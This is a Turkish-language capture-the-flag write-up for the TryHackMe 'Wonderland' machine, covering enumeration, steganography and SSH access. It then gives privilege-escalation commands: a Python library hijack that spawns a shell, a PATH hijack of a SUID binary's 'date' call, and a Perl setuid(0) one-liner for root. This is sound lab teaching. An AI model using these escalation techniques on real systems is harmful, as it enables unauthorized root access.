3 minutes
THM Wonderland Write Up
Merhaba, Bu yazımda sizlere Tryhackme’de yer alan orta seviye zorluktaki Wonderland adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar…
1. Keşif Aşaması
Nmap ile makinenin açık portları ve portlarda çalışan servisleri tespit edilir.
sudo nmap -sV -sC 10.10.248.80
Sistemde sadece 2 port açıktır. Web sayfasına giriş yapılır.
Gobuster aracı ile dizin taraması yapılır. 3 adet dizin tespit edilir.
gobuster dir -u http://10.10.248.80/ -w /usr/share/wordlists/dirb/big.txt
/img dizine girilir. Dizindeki tüm resim dosyaları indirilir.
steghide aracı ile resimler içerisine gizlenmiş olan dosyalar tespit edilir. Yapılan kontrolde white_rabbit.jpg dosyası içerisinde hint.txt adlı bir dosya gizlenmiştir.
Dosya içeriğine bakıldığında tavşanı takip etmemiz söyleniyor. 🐇
/r dizin içeriği görüntülenir. Daha dizin içerisinde gobuster ile dizin taramasına devam edilir.
gobuster dir -u http://10.10.248.80/r/ -w /usr/share/wordlists/dirb/big.txt
/r dizini içerisinde /a dizini tespit edilir. İpucunda olan tavşan mevzusunun ne olduğu anlaşılır.💡Tarayıcından http://ipadresi/r/a/b/b/i/t adresine istek atılır.
Sayfa kaynak kodları incelendiğinde gizli bir bilgi tespit edilmektedir.
2. Erişim Sağlanması
Elde edilen bilgi herhangi bir login paneli tespit edilmediğinde ssh bağlantısı için kullanılır.
ssh alice@10.10.248.80
3. Yetki Yükseltme
Sudo -l
ile kullanıcının yetkileri kontrol edilir. Rabbit kullanıcısı yetkisi ile walrus_and_the_carpenter.py dosyası çalıştırılmaktadır.
walrus_and_the_carpenter.py içeriğine bakıldığında poem değişkeni içerisinde yer alan metinden rastgele belirlenen 10 satır ekrana basılmaktadır.
Rabbit kullanıcısına Hijacking Python Library tekniği ile geçilir. Aynı dizinde random.py adında dosya oluşturulur. İçerisine çalıştırmak istediğimiz kodlar yazılır. Uygulama çalıştığında random kütüphanesi import edilirken bizim yazdığımız kodlar import edilecektir.
import os
os.system("/bin/bash)
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Rabbit kullanısının home dizine geçilerek dosyalar listelenir. Suid biti aktif olan teaParty adında bir dosya görülmektedir.
Dosya çalıştırıldığında Hatter’ın partiye geleceği bilgisi ekrana basılmakta ve uygulama kullanıcıdan girdi beklemektedir. Herhangi bir tuşa basınca ekrana Segmentation Fault yazdırılmaktadır.
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Wed, 07 Oct 2020 20:06:29 +0000
Ask very nicely, and I will give you some tea while you wait for him
ls
Segmentation fault (core dumped)
Binary ayrıntılı incelenmek üzere locale indirilir. Daha sonra Ghidra ile analiz edilir.
Setuid(0x3eb) ve setguid(0x3eb) ile uid değeri Hatter (1003) kullanıcısına set edilir. Burada dikkat çeken echo ve date komutlarının çalıştırılmasıdır. Echo komutu için tam yol belirtilirken, date komutu için path belirtilmemiştir. Date komutu PATH değişkeninde tanımalanan dizinlerde sıra ile aranmaktadır.
- Date dosyası oluşturulur.
- Date dosya dizini PATH değişkenine eklenir.
rabbit@wonderland:/home/rabbit$ echo /bin/bash > date
rabbit@wonderland:/home/rabbit$ chmod 777 date
rabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit/:$PATH
Dosya çalıştırılarak hatter kullanıcısına geçiş yapılır. Hatter dizini içeriğine göz atılır.
Password.txt dosyasında yer alan parola bilgisi ile hatter kullanıcısına geçiş yapılır.
ssh hatter@localhost
Hatter kullanıcısı yetkileri ile sistem hakkında bilgi toplamak için LinEnum betiği çalıştırılır. Betik çıktısında capability yetkileri olan dosyalar dikkat çekmektedir.
Perl uygulamasının setuid ile yetkilerinin yükseltilerek kernele sistem çağırısı yapılabilceği tespit edilmektedir. uid değeri 0 (root) set edilir ve /bin/bash uygulaması çalıştırılır.
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
/root dizini içerisinde yer alan user.txt dosyası,
ve /home/alice dizininde yer alan root.txt dosyaları okunarak makina çözümlemesi tamamlanır.